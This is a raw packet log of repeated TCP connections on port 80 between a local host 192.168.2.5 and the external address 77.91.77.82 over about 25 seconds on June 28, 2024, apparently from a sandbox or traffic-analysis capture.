Jun 28, 2024 13:37:57.312886000 CEST	49821	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:57.317625999 CEST	80	49822	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:57.999052048 CEST	80	49822	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:57.999147892 CEST	49822	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:58.003153086 CEST	49822	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:58.003501892 CEST	49823	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:58.008378029 CEST	80	49823	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:58.008440018 CEST	80	49822	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:58.008445978 CEST	49823	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:58.008522987 CEST	49822	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:58.008733988 CEST	49823	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:58.013493061 CEST	80	49823	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:58.707132101 CEST	80	49823	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:58.707210064 CEST	49823	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:58.825561047 CEST	49823	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:58.826956034 CEST	49824	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:58.830955029 CEST	80	49823	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:58.831020117 CEST	49823	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:58.831780910 CEST	80	49824	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:58.831899881 CEST	49824	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:58.833575964 CEST	49824	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:58.838422060 CEST	80	49824	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:59.746481895 CEST	80	49824	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:59.746556997 CEST	49824	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:59.747936010 CEST	80	49824	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:59.748192072 CEST	49824	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:59.749471903 CEST	49824	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:59.749850988 CEST	49825	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:59.754950047 CEST	80	49824	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:59.754961967 CEST	80	49825	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:59.755034924 CEST	49824	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:59.755080938 CEST	49825	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:59.755403996 CEST	49825	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:59.760314941 CEST	80	49825	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:00.426140070 CEST	80	49825	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:00.427968979 CEST	49825	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:00.538351059 CEST	49825	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:00.538748026 CEST	49826	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:00.543576002 CEST	80	49825	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:00.543591022 CEST	80	49826	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:00.543653011 CEST	49825	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:00.543689013 CEST	49826	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:00.543981075 CEST	49826	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:00.548722029 CEST	80	49826	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:01.218894958 CEST	80	49826	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:01.218975067 CEST	49826	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:01.228257895 CEST	49826	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:01.228573084 CEST	49827	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:01.233273983 CEST	80	49826	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:01.233320951 CEST	80	49827	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:01.233381987 CEST	49826	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:01.233412027 CEST	49827	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:01.233741045 CEST	49827	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:01.238497972 CEST	80	49827	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:01.924513102 CEST	80	49827	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:01.927927017 CEST	49827	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:02.042579889 CEST	49827	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:02.042984009 CEST	49828	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:02.047894955 CEST	80	49827	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:02.047924042 CEST	80	49828	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:02.047980070 CEST	49827	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:02.048032045 CEST	49828	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:02.048163891 CEST	49828	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:02.052967072 CEST	80	49828	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:03.365470886 CEST	80	49828	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:03.365535021 CEST	80	49828	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:03.365607023 CEST	49828	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:03.365792036 CEST	80	49828	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:03.365842104 CEST	49828	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:03.368757010 CEST	49828	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:03.369071960 CEST	49829	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:03.373872042 CEST	80	49829	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:03.374630928 CEST	80	49828	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:03.374717951 CEST	49828	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:03.374720097 CEST	49829	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:03.374962091 CEST	49829	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:03.379684925 CEST	80	49829	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:04.155951977 CEST	80	49829	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:04.156021118 CEST	49829	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:04.273664951 CEST	49829	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:04.274045944 CEST	49830	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:04.280913115 CEST	80	49829	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:04.280972958 CEST	49829	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:04.282058954 CEST	80	49830	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:04.282135010 CEST	49830	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:04.282422066 CEST	49830	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:04.287262917 CEST	80	49830	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:04.379458904 CEST	49830	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:04.382762909 CEST	49831	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:04.387680054 CEST	80	49831	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:04.387957096 CEST	49831	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:04.388209105 CEST	49831	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:04.399554968 CEST	80	49831	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:05.062473059 CEST	80	49831	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:05.066123962 CEST	49831	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:05.179054976 CEST	49831	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:05.179435015 CEST	49832	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:05.184283972 CEST	80	49832	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:05.184345007 CEST	80	49831	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:05.184427977 CEST	49831	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:05.184449911 CEST	49832	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:05.184633017 CEST	49832	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:05.191884041 CEST	80	49832	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:05.850855112 CEST	80	49832	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:05.850944996 CEST	49832	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:05.854067087 CEST	49832	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:05.854554892 CEST	49833	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:05.859337091 CEST	80	49833	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:05.859472036 CEST	49833	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:05.859829903 CEST	80	49832	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:05.861816883 CEST	49832	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:05.862238884 CEST	49833	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:05.867072105 CEST	80	49833	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:06.557027102 CEST	80	49833	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:06.557136059 CEST	49833	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:06.663168907 CEST	49833	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:06.663631916 CEST	49834	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:06.668540001 CEST	80	49834	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:06.668553114 CEST	80	49833	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:06.668668032 CEST	49833	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:06.668668032 CEST	49834	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:06.668919086 CEST	49834	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:06.674292088 CEST	80	49834	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:07.343646049 CEST	80	49834	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:07.343715906 CEST	49834	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:07.346714020 CEST	49834	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:07.347114086 CEST	49835	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:07.351805925 CEST	80	49834	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:07.351886034 CEST	49834	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:07.351988077 CEST	80	49835	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:07.352267027 CEST	49835	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:07.352509022 CEST	49835	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:07.357342958 CEST	80	49835	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:08.031500101 CEST	80	49835	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:08.031575918 CEST	49835	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:08.148271084 CEST	49835	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:08.148588896 CEST	49836	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:08.153726101 CEST	80	49836	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:08.153799057 CEST	49836	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:08.154002905 CEST	80	49835	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:08.154011011 CEST	49836	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:08.154094934 CEST	49835	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:08.158771038 CEST	80	49836	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:08.824688911 CEST	80	49836	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:08.824778080 CEST	49836	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:08.827693939 CEST	49836	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:08.828089952 CEST	49837	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:08.832941055 CEST	80	49837	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:08.833014965 CEST	49837	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:08.833034039 CEST	80	49836	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:08.833096027 CEST	49836	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:08.833293915 CEST	49837	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:08.838030100 CEST	80	49837	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:09.501193047 CEST	80	49837	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:09.501297951 CEST	49837	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:09.627433062 CEST	49837	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:09.627753019 CEST	49838	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:09.632534027 CEST	80	49838	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:09.632631063 CEST	80	49837	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:09.632728100 CEST	49837	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:09.632771969 CEST	49838	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:09.658396006 CEST	49838	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:09.663276911 CEST	80	49838	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:10.298607111 CEST	80	49838	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:10.298738003 CEST	49838	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:10.302279949 CEST	49838	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:10.302958012 CEST	49839	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:10.307780981 CEST	80	49838	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:10.307867050 CEST	80	49839	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:10.307907104 CEST	49838	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:10.308495998 CEST	49839	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:10.308948994 CEST	49839	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:10.313760996 CEST	80	49839	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:10.319878101 CEST	49839	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:10.431879044 CEST	49840	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:10.436808109 CEST	80	49840	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:10.440006971 CEST	49840	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:10.443881035 CEST	49840	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:10.448817015 CEST	80	49840	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:11.105842113 CEST	80	49840	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:11.105964899 CEST	49840	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:11.109534025 CEST	49841	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:11.109535933 CEST	49840	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:11.122237921 CEST	80	49840	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:11.122248888 CEST	80	49841	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:11.122348070 CEST	49841	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:11.122349977 CEST	49840	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:11.122963905 CEST	49841	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:11.129285097 CEST	80	49841	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:11.819025993 CEST	80	49841	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:11.819134951 CEST	49841	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:11.929933071 CEST	49841	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:11.930304050 CEST	49842	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:11.935179949 CEST	80	49842	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:11.935247898 CEST	49842	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:11.935465097 CEST	49842	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:11.935484886 CEST	80	49841	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:11.935559034 CEST	49841	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:11.940288067 CEST	80	49842	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:12.615026951 CEST	80	49842	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:12.615161896 CEST	49842	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:12.618963003 CEST	49842	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:12.619904995 CEST	49843	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:12.624501944 CEST	80	49842	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:12.624689102 CEST	49842	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:12.624723911 CEST	80	49843	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:12.627959013 CEST	49843	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:12.628269911 CEST	49843	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:12.633100986 CEST	80	49843	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:13.314598083 CEST	80	49843	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:13.314662933 CEST	49843	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:13.429929972 CEST	49843	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:13.430344105 CEST	49844	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:13.435419083 CEST	80	49843	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:13.435456038 CEST	80	49844	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:13.435480118 CEST	49843	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:13.435538054 CEST	49844	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:13.435667038 CEST	49844	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:13.441270113 CEST	80	49844	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:14.102500916 CEST	80	49844	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:14.102643967 CEST	49844	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:14.105891943 CEST	49844	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:14.106100082 CEST	49845	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:14.110934019 CEST	80	49845	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:14.111030102 CEST	49845	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:14.111104012 CEST	80	49844	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:14.111157894 CEST	49844	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:14.112061024 CEST	49845	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:14.116852999 CEST	80	49845	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:14.822546959 CEST	80	49845	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:14.826291084 CEST	49845	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:14.945616961 CEST	49845	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:14.945616961 CEST	49846	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:14.950499058 CEST	80	49846	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:14.950627089 CEST	49846	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:14.950838089 CEST	80	49845	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:14.950867891 CEST	49846	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:14.950974941 CEST	49845	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:14.955976009 CEST	80	49846	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:15.648950100 CEST	80	49846	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:15.649008989 CEST	49846	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:15.655054092 CEST	49846	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:15.655448914 CEST	49847	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:15.660267115 CEST	80	49846	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:15.660278082 CEST	80	49847	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:15.660330057 CEST	49846	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:15.660362959 CEST	49847	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:15.660933018 CEST	49847	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:15.665685892 CEST	80	49847	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:16.339624882 CEST	80	49847	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:16.339823008 CEST	49847	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:16.445116997 CEST	49847	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:16.445549011 CEST	49848	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:16.450567961 CEST	80	49848	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:16.450628042 CEST	80	49847	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:16.450666904 CEST	49848	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:16.450752020 CEST	49847	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:16.451020956 CEST	49848	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:16.455903053 CEST	80	49848	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:17.118525028 CEST	80	49848	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:17.118649960 CEST	49848	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:17.121989965 CEST	49848	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:17.121995926 CEST	49849	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:17.126869917 CEST	80	49849	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:17.126998901 CEST	49849	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:17.127185106 CEST	80	49848	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:17.127263069 CEST	49849	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:17.127362967 CEST	49848	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:17.132554054 CEST	80	49849	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:17.817174911 CEST	80	49849	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:17.817240000 CEST	49849	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:17.931107998 CEST	49849	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:17.931591988 CEST	49850	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:17.936372995 CEST	80	49850	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:17.936393023 CEST	80	49849	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:17.936443090 CEST	49850	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:17.936480045 CEST	49849	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:17.937357903 CEST	49850	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:17.942137957 CEST	80	49850	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:18.685817003 CEST	80	49850	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:18.687954903 CEST	49850	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:18.691879034 CEST	49851	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:18.691931009 CEST	49850	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:18.697499990 CEST	80	49851	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:18.697735071 CEST	80	49850	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:18.697937012 CEST	49851	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:18.697937965 CEST	49850	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:18.699882984 CEST	49851	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:18.704689026 CEST	80	49851	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:19.391629934 CEST	80	49851	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:19.391695023 CEST	49851	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:19.507934093 CEST	49851	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:19.508409023 CEST	49852	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:19.513154030 CEST	80	49851	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:19.513222933 CEST	49851	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:19.513369083 CEST	80	49852	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:19.513513088 CEST	49852	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:19.513746977 CEST	49852	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:19.518712997 CEST	80	49852	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:20.184828043 CEST	80	49852	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:20.184890032 CEST	49852	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:20.205636024 CEST	49852	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:20.206243038 CEST	49853	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:20.211313009 CEST	80	49853	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:20.211394072 CEST	49853	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:20.211850882 CEST	80	49852	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:20.211908102 CEST	49852	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:20.214966059 CEST	49853	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:20.220062017 CEST	80	49853	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:20.904644966 CEST	80	49853	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:20.915488958 CEST	49853	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:21.022794962 CEST	49853	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:21.027877092 CEST	49854	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:21.028430939 CEST	80	49853	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:21.031997919 CEST	49853	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:21.033265114 CEST	80	49854	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:21.035993099 CEST	49854	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:21.039875031 CEST	49854	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:21.044677973 CEST	80	49854	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:21.706567049 CEST	80	49854	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:21.706655979 CEST	49854	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:21.713532925 CEST	49854	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:21.714004993 CEST	49855	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:21.718854904 CEST	80	49855	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:21.718965054 CEST	80	49854	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:21.718980074 CEST	49855	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:21.719012022 CEST	49854	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:21.719505072 CEST	49855	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:21.724303961 CEST	80	49855	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:22.409183979 CEST	80	49855	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:22.410150051 CEST	49855	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:22.523042917 CEST	49855	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:22.525976896 CEST	49856	80	192.168.2.5	77.91.77.82
